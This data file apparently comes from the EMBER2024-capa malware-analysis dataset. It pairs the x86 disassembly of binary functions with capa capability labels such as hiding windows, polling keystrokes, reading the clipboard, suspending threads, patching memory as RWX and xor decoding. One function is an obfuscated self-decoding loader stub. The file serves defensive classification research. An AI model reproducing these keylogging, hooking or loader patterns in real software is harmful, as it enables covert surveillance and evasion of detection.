joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100c56b0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x38
mov eax, dword [0x10193008]
xor eax, esp
mov dword [esp + 0x34], eax
push esi
push edi
mov edi, ecx
lea eax, [edi + 0xc4]
mov dword [esp + 0xc], eax
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
test eax, eax
je 0x100c56f8
mov eax, dword [eax + 0x28]
test eax, eax
je 0x100c56f8
push dword [eax + 4]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
setne al
test al, al
je 0x100c56f8
mov al, 1
jmp 0x100c56fa
xor al, al
test al, al
je 0x100c5885
mov esi, edi
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 0x38]
call eax
test al, al
je 0x100c577f
mov esi, dword [esi + 0x88]
test esi, esi
jne 0x100c5704
mov eax, edi
nop dword [eax]
cmp byte [eax + 0x81], 0
jne 0x100c5771
mov eax, dword [eax + 0x88]
test eax, eax
jne 0x100c5720
xor ecx, ecx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
mov esi, dword [esp + 0xc]
push eax
mov ecx, dword [esi]
mov ecx, dword [ecx + 0x3c]
mov dword [ecx + 0x24], eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x100c57ac
mov eax, dword [esi]
push 5
mov esi, dword [eax + 0x3c]
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esi + 0x28]
test eax, eax
je 0x100c57ac
push dword [esi + 0x24]
push 1
jmp 0x100c579e
test eax, eax
je 0x100c5733
mov eax, dword [eax + 0xb8]
mov ecx, dword [eax]
jmp 0x100c5735
mov eax, dword [esp + 0xc]
push 0
mov eax, dword [eax]
mov esi, dword [eax + 0x3c]
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esi + 0x28]
test eax, eax
je 0x100c57ac
push 0
push 0
push 0xc9c
push dword [eax + 4]
call dword [sym.imp.USER32.dll_PostMessageW]
mov eax, dword [edi + 0x98]
sub eax, dword [edi + 0x90]
mov ecx, dword [edi + 0x9c]
sub ecx, dword [edi + 0x94]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x14], 0
lea eax, [esp + 0x30]
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], ecx
movaps xmm0, xmmword [esp + 0x14]
push eax
movaps xmmword [esp + 0x18], xmm0
call dword [sym.imp.USER32.dll_CopyRect]
xor eax, eax
xor ecx, ecx
nop word [eax + eax]
add eax, dword [edi + 0x90]
add ecx, dword [edi + 0x94]
mov edi, dword [edi + 0x88]
test edi, edi
jne 0x100c5800
mov esi, dword [esp + 0x30]
lea edi, [ecx + esi]
mov ecx, dword [esp + 0x2c]
mov dword [esp + 0x30], edi
lea edx, [eax + ecx]
mov eax, edx
mov dword [esp + 0x2c], edx
sub eax, ecx
add dword [esp + 0x34], eax
mov eax, edi
sub eax, esi
add dword [esp + 0x38], eax
mov eax, dword [esp + 0xc]
mov eax, dword [eax]
mov edi, dword [eax + 0x3c]
mov eax, dword [edi + 0x28]
test eax, eax
je 0x100c5885
push dword [eax + 4]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x100c5885
mov edi, dword [edi + 0x28]
push 0x10
call fcn.10102d0d
add esp, 4
mov esi, eax
lea eax, [esp + 0x2c]
push eax
push esi
call dword [sym.imp.USER32.dll_CopyRect]
push esi
push 0
push 0xc9b
push dword [edi + 4]
call dword [sym.imp.USER32.dll_PostMessageW]
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
xor ecx, esp
call fcn.10102ce9
mov esp, ebp
pop ebp
ret
Function at 0x100ce790
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10141af8
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x10193008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
cmp dword [ebp + 8], 0
je 0x100ce928
call fcn.100ce470
push dword [edi + 0x9c]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x100ce8bc
push dword [edi + 0x9c]
call fcn.100cf250
mov ecx, eax
call fcn.100cf1b0
test eax, eax
je 0x100ce800
push 0
push dword [eax + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xfffffffffffffffc
push dword [edi + 0x9c]
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov dword [edi + 0xa0], eax
mov eax, dword [edi + 0x9c]
mov dword [ebp - 0x14], eax
call fcn.100cf250
mov esi, eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], esi
lea ecx, [esi + 8]
push ecx
lea ecx, [ebp - 0x20]
call fcn.10009250
mov dword [ebp - 4], 0
mov ecx, dword [esi]
mov esi, ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [esi + 4]
cmp byte [eax + 0xd], 0
jne 0x100ce865
cmp dword [eax + 0x10], edx
jae 0x100ce85b
mov eax, dword [eax + 8]
jmp 0x100ce85f
mov esi, eax
mov eax, dword [eax]
cmp byte [eax + 0xd], 0
je 0x100ce851
cmp esi, ecx
je 0x100ce86e
cmp edx, dword [esi + 0x10]
jae 0x100ce897
lea eax, [ebp - 0x14]
push ecx
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
push ecx
mov ecx, dword [ebp - 0x1c]
call fcn.10079c50
mov ecx, dword [ebp - 0x1c]
push eax
add eax, 0x10
push eax
push esi
lea eax, [ebp - 0x18]
push eax
call fcn.10093990
mov esi, dword [ebp - 0x18]
mov dword [esi + 0x14], edi
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.10009280
push 0x100ceff0
push 0xfffffffffffffffc
push dword [edi + 0x9c]
call dword [sym.imp.USER32.dll_SetWindowLongW]
mov eax, dword [edi + 0x90]
xor esi, esi
test eax, eax
je 0x100ce8ec
nop dword [eax + eax]
cmp byte [eax + 0x81], 0
jne 0x100ce91a
mov eax, dword [eax + 0x88]
test eax, eax
jne 0x100ce8d0
xor ecx, ecx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, eax
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x100ce92d
push 0xffffffffffffffec
push esi
call dword [sym.imp.USER32.dll_GetWindowLongW]
test al, 8
je 0x100ce92d
push 0xb
push 0
push 0
push 0
push 0
push esi
push dword [edi + 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
jmp 0x100ce92d
test eax, eax
je 0x100ce8e3
mov eax, dword [eax + 0xb8]
mov ecx, dword [eax]
jmp 0x100ce8e5
call fcn.100ceea0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10102ce9
mov esp, ebp
pop ebp
ret 8
Function at 0x100d9f90
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10142b01
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x10193008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x34], edi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x2c], 0
call fcn.10005050
mov dword [ebp - 4], 1
push 0xd
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
jne 0x100d9ff2
lea eax, [ebp - 0x28]
mov ecx, edi
push eax
call fcn.10005010
jmp 0x100da040
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x100da035
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebx, eax
test ebx, ebx
je 0x100da02f
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov esi, eax
push esi
call fcn.10005290
add esp, 4
lea ecx, [ebp - 0x28]
push eax
push esi
call fcn.10004bc0
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
lea eax, [ebp - 0x28]
mov ecx, edi
push eax
call fcn.10005010
mov dword [ebp - 0x2c], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.10004a60
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10102ce9
mov esp, ebp
pop ebp
ret
Function at 0x100da080
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
lea ebp, [esp - 0x220]
sub esp, 0x220
push 0xffffffffffffffff
push 0x10142b50
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x10193008]
xor eax, ebp
mov dword [ebp + 0x21c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [esi + 0x1ec]
test edi, edi
je 0x100da29f
mov ebx, dword [ebp + 0x228]
cmp ebx, 0xd
jne 0x100da0f3
cmp byte [edi + 0x140], 0
jne 0x100da0f3
mov ecx, dword [esi + 0x1f0]
test ecx, ecx
je 0x100da0ec
mov eax, dword [ecx]
call dword [eax + 8]
mov al, 1
jmp 0x100da2a1
mov eax, dword [edi]
mov ecx, edi
mov eax, dword [eax + 0x40]
call eax
test al, al
je 0x100da29f
mov al, byte [edi + 0x121]
test al, al
jne 0x100da29f
cmp ebx, 0x56
jne 0x100da180
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
shr eax, 8
test al, al
je 0x100da180
lea ecx, [ebp]
call fcn.100d9f90
mov dword [ebp - 4], 0
lea eax, [ebp]
push eax
mov ecx, esi
call fcn.100daf40
lea eax, [ebp - 0x28]
mov ecx, esi
push eax
call fcn.100da500
mov byte [ebp - 4], 1
mov ecx, dword [esi + 0x1f8]
push eax
add ecx, 8
call fcn.10004fd0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.10004a60
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp]
call fcn.10004a60
mov al, 1
jmp 0x100da2a1
push 0x200
lea eax, [ebp + 0x1c]
push 0
push eax
call fcn.10104ad0
add esp, 0xc
lea eax, [ebp + 0x1c]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov edi, dword [ebp + 0x22c]
cmp eax, 1
jne 0x100da240
push 0
lea eax, [ebp + 0x18]
mov dword [ebp + 0x18], 0
push eax
lea eax, [ebp + 0x1c]
push eax
movzx eax, di
push eax
push ebx
call dword [sym.imp.USER32.dll_ToAscii]
movzx eax, word [ebp + 0x18]
push eax
call fcn.10110b29
add esp, 4
test eax, eax
jne 0x100da20c
movzx eax, word [ebp + 0x18]
push eax
call fcn.10110afa
add esp, 4
test eax, eax
jne 0x100da20c
movzx eax, word [ebp + 0x18]
push eax
call fcn.10110bb0
add esp, 4
test eax, eax
jne 0x100da20c
movzx eax, word [ebp + 0x18]
push eax
call fcn.10110b83
add esp, 4
test eax, eax
je 0x100da240
lea ecx, [ebp]
call fcn.10005050
mov dword [ebp - 4], 2
lea ecx, [ebp]
push dword [ebp + 0x18]
call fcn.1001c2f0
lea eax, [ebp]
mov ecx, esi
push eax
call fcn.100daf40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp]
call fcn.10004a60
cmp ebx, 0xd
je 0x100da264
mov ecx, dword [esi + 0xc0]
test ecx, ecx
je 0x100da264
mov ecx, dword [ecx + 0xc]
test ecx, ecx
je 0x100da264
mov eax, dword [ecx]
push 0
push edi
push ebx
push 0x100
call dword [eax + 0xc]
lea eax, [ebp - 0x28]
mov ecx, esi
push eax
call fcn.100da500
mov dword [ebp - 4], 3
mov ecx, dword [esi + 0x1f8]
push eax
add ecx, 8
call fcn.10004fd0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.10004a60
mov ecx, esi
call fcn.100db090
mov al, 1
jmp 0x100da2a1
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x21c]
xor ecx, ebp
call fcn.10102ce9
lea esp, [ebp + 0x220]
pop ebp
ret 0xc
Function at 0x100dbea0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10142f87
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x10193008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov eax, dword [ebp + 0xc]
push dword [ebp + 0xc]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x20]
push eax
push 0x10193cd0
call fcn.100b64b0
add esp, 0xc
movzx eax, ax
mov ecx, edi
push edi
push eax
push 0
push 0x80
push 0x82000000
push 0
push 0
push dword [ebp + 8]
call fcn.100dc080
mov dword [edi + 4], eax
test eax, eax
je 0x100dc06a
push 0x74
call fcn.10102d0d
mov esi, eax
mov dword [ebp + 0xc], esi
mov dword [ebp - 4], 0
push 0x74
push 0
push esi
call fcn.10104ad0
add esp, 0x10
mov dword [esi + 4], 0
call fcn.100e9090
lea eax, [esi + 8]
mov dword [ebp + 8], eax
mov dword [eax + 0xc], 0
mov byte [ebp - 4], 2
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov byte [ebp - 4], 3
mov eax, dword [sym.imp.USER32.dll_DefWindowProcW]
mov dword [esi + 0x20], eax
mov byte [ebp - 4], 5
xor eax, eax
movups xmm0, xmmword [0x10151974]
movups xmmword [esi + 0x28], xmm0
movups xmm0, xmmword [0x10151974]
mov dword [esi + 0x48], eax
mov dword [esi + 0x4c], 0xfefefefe
movups xmmword [esi + 0x38], xmm0
movups xmm0, xmmword [0x10151974]
movups xmmword [esi + 0x28], xmm0
movups xmm0, xmmword [0x10151974]
movups xmmword [esi + 0x38], xmm0
mov dword [esi + 0x50], vtable.RC::IERenderClientSiteDelegate.0
mov dword [esi + 0x54], eax
mov dword [esi + 0x58], eax
mov dword [esi + 0x5c], eax
mov dword [esi + 0x60], eax
mov dword [esi + 0x64], eax
mov word [esi + 0x68], ax
mov byte [esi + 0x6a], al
mov eax, dword [ebp + 0x10]
mov dword [esi], vtable.RC::IERenderView.2.0
mov dword [esi + 0x24], vtable.RC::IERenderView.0
mov dword [esi + 0x50], vtable.RC::IERenderView.1.0
mov dword [esi + 0x6c], eax
mov dword [esi + 0x70], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [edi + 4]
push 0
push 0
push esi
push 0x100eafa0
push 0
mov dword [edi + 0x28], esi
push 0
mov dword [esi + 0x54], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1c
mov dword [esi + 0x5c], eax
call fcn.10102d0d
mov ecx, eax
add esp, 4
mov dword [ebp + 0xc], ecx
mov dword [ebp - 4], 6
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
movq qword [ecx + 0x10], xmm0
mov dword [ecx + 0x18], 0
mov dword [ecx], vtable.RC::IEExternal.0
mov dword [ecx + 4], 0
mov dword [ecx + 8], esi
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov byte [ebp - 4], 7
mov dword [ecx + 0x18], 0
mov dword [ebp - 4], 0xffffffff
mov dword [esi + 0x64], ecx
mov eax, dword [ecx]
push ecx
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100ea360
Capabilities:
Hide graphical window
Log keystrokes

Disassembly:
cmp dword [esp + 8], 0
push ebx
push esi
push edi
mov ebx, ecx
je 0x100ea41a
mov esi, dword [esp + 0x18]
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x100ea4aa
push esi
mov dword [ebx + 0x58], esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x100ea4aa
push dword [ebx + 4]
push dword [ebx + 0x58]
call dword [sym.imp.USER32.dll_IsChild]
test eax, eax
jne 0x100ea4aa
push 0xfffffffffffffff0
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov ecx, eax
and ecx, 0x39ffffff
or ecx, 0x46000000
cmp eax, ecx
je 0x100ea3d2
push ecx
push 0xfffffffffffffff0
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push dword [ebx + 0x58]
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_SetParent]
mov edi, dword [ebx + 4]
mov esi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 1
push 0
push dword [ebx + 0x58]
call esi
push eax
push 0
push edi
call esi
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 0x57
push 0
push 0
push 0
push 0
push 0
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
pop edi
pop esi
xor eax, eax
pop ebx
ret 0x10
push ebp
push 0
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
mov edi, dword [ebx + 4]
mov esi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push dword [ebx + 0x58]
call esi
push 0
push edi
mov ebp, eax
call esi
mov edi, dword [sym.imp.USER32.dll_AttachThreadInput]
mov esi, eax
push 0
push ebp
push esi
call edi
test eax, eax
je 0x100ea45a
nop
push 0
push ebp
push esi
call edi
test eax, eax
jne 0x100ea450
push 0
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_SetParent]
push 0xfffffffffffffff0
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov ecx, eax
and ecx, 0x39ffffff
or ecx, 0x80000000
pop ebp
cmp eax, ecx
je 0x100ea48f
push ecx
push 0xfffffffffffffff0
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 5
push 0
push 0
push 0x7d00
push 0x7d00
push 0
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
pop edi
pop esi
xor eax, eax
pop ebx
ret 0x10
Function at 0x100eec80
Capabilities:
Log keystrokes via polling

Disassembly:
push 0x11
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x8000
test cx, ax
mov ecx, dword [esp + 8]
je 0x100eecb3
test ecx, ecx
je 0x100eecb3
cmp dword [ecx + 4], 0x100
jne 0x100eecb3
mov eax, dword [ecx + 8]
cmp eax, 0x4c
je 0x100eecc2
add eax, 0xffffffb2
cmp eax, 1
jbe 0x100eecc2
cmp dword [ecx + 4], 0x104
jne 0x100eecc7
cmp dword [ecx + 8], 0x12
jne 0x100eecc7
xor eax, eax
ret 0x10
mov eax, 1
ret 0x10
Function at 0x100fc010
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
test edx, edx
jne 0x100fc01b
xor eax, eax
pop ebp
ret
pop ebp
jmp fcn.100fc030
Function at 0x100ffef0
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10193008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x24], edx
push edi
push 0
push 4
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x100fffea
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x100fffe3
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x20], 0x10
jb 0x100fffc9
call ebx
cmp dword [ebp - 0x14], eax
jne 0x100fffc9
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x100fffc9
mov edx, dword [esi]
test edx, edx
jne 0x100fff92
push 0x200
push edx
push dword [0x10198f44]
mov dword [esi + 4], 0x80
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
mov dword [esi], edx
test edx, edx
je 0x100fffe3
jmp 0x100fffbd
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x100fffbd
shl eax, 3
push eax
push edx
push 0
push dword [0x10198f44]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov edx, eax
test edx, edx
je 0x100fffe3
mov eax, dword [esi + 4]
add eax, eax
mov dword [esi], edx
mov dword [esi + 4], eax
mov ecx, dword [esi + 8]
mov eax, dword [ebp - 0x18]
mov dword [edx + ecx*4], eax
inc dword [esi + 8]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x100fff51
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esi], 0
je 0x1010002f
xor edi, edi
cmp dword [esi + 8], edi
jbe 0x1010002f
mov eax, dword [esi]
push dword [eax + edi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x10100029
push ebx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [ebp + 8]
mov edx, dword [ebp - 0x24]
mov ecx, ebx
call fcn.100ffd80
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [esi + 8]
jb 0x100ffff6
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10102ce9
mov esp, ebp
pop ebp
ret

Function at 0x10100040
Capabilities:
Resume thread

Disassembly:
push ebx
mov ebx, ecx
mov eax, dword [ebx]
test eax, eax
je 0x1010008e
push esi
xor esi, esi
cmp dword [ebx + 8], esi
jbe 0x1010007e
push edi
mov eax, dword [ebx]
push dword [eax + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x10100075
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [ebx + 8]
jb 0x10100052
mov eax, dword [ebx]
pop edi
push eax
push 0
push dword [0x10198f44]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
pop ebx
ret
Function at 0x10100090
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
imul esi, ecx, 0x2c
push edi
add esi, dword [0x10199e60]
mov al, byte [esi + 0x14]
mov edi, dword [esi]
and al, 1
je 0x101000ac
sub edi, 5
movzx eax, al
lea ebx, [eax*2 + 5]
lea eax, [ebp - 4]
push eax
push 0x40
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x101000d4
pop edi
pop esi
mov eax, 0xa
pop ebx
mov esp, ebp
pop ebp
ret
mov byte [edi], 0xe9
mov eax, dword [esi + 4]
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
test byte [esi + 0x14], 1
je 0x101000ef
mov eax, dword [esi]
mov word [eax], 0xf9eb
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or byte [esi + 0x14], 6
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10100120
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [0x10199e68]
push ebx
push esi
xor ebx, ebx
xor esi, esi
mov dword [ebp - 4], ebx
test ecx, ecx
je 0x101001fd
mov eax, dword [0x10199e60]
add eax, 0x14
test byte [eax], 2
je 0x1010015a
inc esi
add eax, 0x2c
cmp esi, ecx
jb 0x10100145
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
cmp esi, 0xffffffff
je 0x101001fd
push edi
push 1
or edx, 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.100ffef0
mov ecx, dword [0x10199e68]
add esp, 4
cmp esi, ecx
jae 0x101001ab
imul edi, esi, 0x2c
mov eax, dword [0x10199e60]
test byte [edi + eax + 0x14], 2
jne 0x101001a0
mov ecx, esi
call fcn.10100090
mov ebx, eax
test ebx, ebx
jne 0x101001a8
mov ecx, dword [0x10199e68]
inc esi
add edi, 0x2c
cmp esi, ecx
jb 0x10100181
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x101001fc
xor esi, esi
cmp dword [ebp - 8], esi
jbe 0x101001ed
mov ebx, eax
jmp 0x101001c0
push dword [ebx + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x101001e1
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [ebp - 8]
jb 0x101001c0
mov ebx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
push eax
push 0
push dword [0x10198f44]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x101191eb
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10118eab
Function at 0x24804a90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x24804a9f
pop dword [ebp - 0x50]
mov eax, 0xb935906e
sub eax, 0x94b545cf
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x3d1d8
push 0
mov eax, 0x16467d90
add eax, 0xe3ac590
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x6143
xor ebx, ebx
add ebx, eax
mov edx, 0x48d2ad07
add edx, 0xdbb010f9
add edx, dword [ebp - 0x50]
mov edi, 0x403a6bda
add edi, 0x60aa2a4e
sub dword [ebp - 0x40], ebx
mov esi, dword [edx]
sub dword [ebp - 0x4c], 0x9b860ad0
xor esi, edi
sub dword [ebp - 4], ecx
mov dword [ebx], esi
xor dword [ebp - 0x48], 0x8fdaee69
add ebx, 0x58c7b30d
add ebx, 0xa7384cf7
add edx, 0x8d85b685
sub edx, 0x8d85b681
loop 0x24804afa
add eax, 0x9fe505a9
sub eax, 0x9fe38dca
mov ebx, eax
add eax, 0x479c7b66
add eax, 0xb863849f
mov ecx, 0x8e08ea3e
add ecx, 0x967615c2
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x24804da0
Capabilities:
Allocate thread local storage
Set thread local storage value

Disassembly:
push esi
call fcn.24805660
call dword [sym.imp.kernel32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x2480e480], eax
je 0x24804df8
push 0x74
push 1
call fcn.24807430
mov esi, eax
add esp, 8
test esi, esi
je 0x24804df8
mov eax, dword [0x2480e480]
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
test eax, eax
je 0x24804df8
push esi
call fcn.24804e30
add esp, 4
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
mov dword [esi], eax
mov dword [esi + 4], 0xffffffff
mov eax, 1
pop esi
ret
xor eax, eax
pop esi
ret

Function at 0x24804e50
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push edi
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
mov eax, dword [0x2480e480]
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
jne 0x24804ebe
push 0x74
push 1
call fcn.24807430
mov esi, eax
add esp, 8
test esi, esi
je 0x24804eb4
mov ecx, dword [0x2480e480]
push esi
push ecx
call dword [sym.imp.kernel32.dll_TlsSetValue]
test eax, eax
je 0x24804eb4
push esi
call fcn.24804e30
add esp, 4
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
push edi
mov dword [esi], eax
mov dword [esi + 4], 0xffffffff
call dword [sym.imp.kernel32.dll_SetLastError]
mov eax, esi
pop edi
pop esi
ret
push 0x10
call fcn.248041a0
add esp, 4
push edi
call dword [sym.imp.kernel32.dll_SetLastError]
mov eax, esi
pop edi
pop esi
ret